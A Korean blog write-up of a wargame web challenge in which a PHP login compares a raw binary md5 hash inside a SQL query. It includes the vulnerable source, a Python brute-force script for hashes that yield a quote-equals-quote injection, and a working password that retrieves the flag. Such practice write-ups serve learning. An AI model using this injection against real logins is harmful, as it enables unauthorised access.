문제 설명


서버 생성 후 접속 화면. 

올바른 패스워드 입력하면 플래그 획득 가능한 형식의 문제인 듯?

 

<?php
 if (isset($_GET['view-source'])) {
  show_source(__FILE__);
  exit();
 }

 if(isset($_POST['ps'])){
  sleep(1);
  include("./lib.php"); # include for $FLAG, $DB_username, $DB_password.
  $conn = mysqli_connect("localhost", $DB_username, $DB_password, "md5_password");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  $ps = mysqli_real_escape_string($conn, $_POST['ps']);
  $row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "FLAG : ".$FLAG;
  }else{
   echo "wrong..";
  }
 }
?>
<style>
 input[type=text] {width:200px;}
</style>
<br />
<br />
<form method="post" action="./index.php">
password : <input type="text" name="ps" /><input type="submit" value="login" />
</form>
<div><a href='?view-source'>get source</a></div>

소스코드.

 

핵심이 되는 건

$row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));
  if(isset($row[0])){
   echo "hello admin!"."<br />";
   echo "FLAG : ".$FLAG;

여기인 듯. 

실제 입력하는 패스워드 값 즉 변수인 $ps는 mysql_real_escape_string()으로 SQL 인젝션 방지.

 

구글링의 도움을 많이 받았는데...

SQL 인젝션 방지를 위해서 특수문자 앞에 escape(\ 백슬래시)를 붙여주는 기능이 있는 거라고 함. 

 

key 값 출력 위해서는 DB 테이블 안에 있는 password의 md5 해시 값을 맞춰야 함. 

include("./lib.php"); # include for $FLAG, $DB_username, $DB_password.
  $conn = mysqli_connect("localhost", $DB_username, $DB_password, "md5_password");
  /*
  
  create table admin_password(
   password char(64) unique
  );
  
  */

  $ps = mysqli_real_escape_string($conn, $_POST['ps']);
  $row=@mysqli_fetch_array(mysqli_query($conn, "select * from admin_password where password='".md5($ps,true)."'"));

이 부분을 보면 md5($ps, true) 사용 중.

 

md5 함수란
인자로 들어온 문자열을 md5 해시화 하여 32byte의 길이로 반환해 주는 함수
md5() 함수는 두 번째 인자값을 선택적으로 줄 수 있음, 이는 raw_output에 해당하는 옵션임

 

raw_output에 의해 취약점이 발생함.

이 옵션의 기본값은 False이고 이 값을 true로 주게 되면 32byte 길이의 헥스값을 16byte의 바이너리 값으로 변환해준다. 

헥스값은 raw_output 옵션의 false를 말하며

binary 값으로 출력된 코드는 raw_output 옵션이 True인 경우를 말한다. 

 

아... 너무 어렵다

 

여러 풀이 방법을 찾아 보니 '='을 이용해 취약점을 발생시킬 수 있다.

false injection이라는 걸 이용해 '어떤문자열' = '어떤문자열' 형태로, 1=1과 동일한 결과값을 출력해낼 수 있다고 한다.

false injection에 대해서는 추후에 더 공부해 보기로 하고. 

 

파이썬을 통해 '=' 값이 들어가도록 코드를 짜 본다. 

import hashlib

for password in range (1, 111112211):
    md5_hash = hashlib.md5(str(password).encode()).hexdigest()
    if '273d27' in md5_hash:
        print(password)

이런 코드를 짬

1~111112210까지의 숫자를 md5로 해시화시킨 후 문자열취급하여 인코딩한 값을 16진수로 바꾼 것.

헐...

실행시키니까 너무 많은 값이 나온다

이 중에서 true가 나오는 값도 있고 false가 나오는 값도 있다고 함.

위에서부터 하나씩 입력해 보는 노가다를 시도

 

1257444
1589500

입력해보니 wrong.. 출력.

 

1839431 입력했더니 플래그 출력 성공!!

 

아직 나한텐 너무 어려운 문제다... 다음에 다시 도전

'SWUFORCE > 워게임 풀이' 카테고리의 다른 글

[H4CKING GAME] Season1 : Easy (forensic)  (0) 2024.11.04
[H4CKING GAME] Season1 : Paint (forensics)  (2) 2024.11.04
[wargame.kr] type confusion (web)  (2) 2024.10.01
[wargame.kr] tmitter (web)  (0) 2024.09.24
[wargame.kr] strcmp (web)  (0) 2024.09.24

+ Recent posts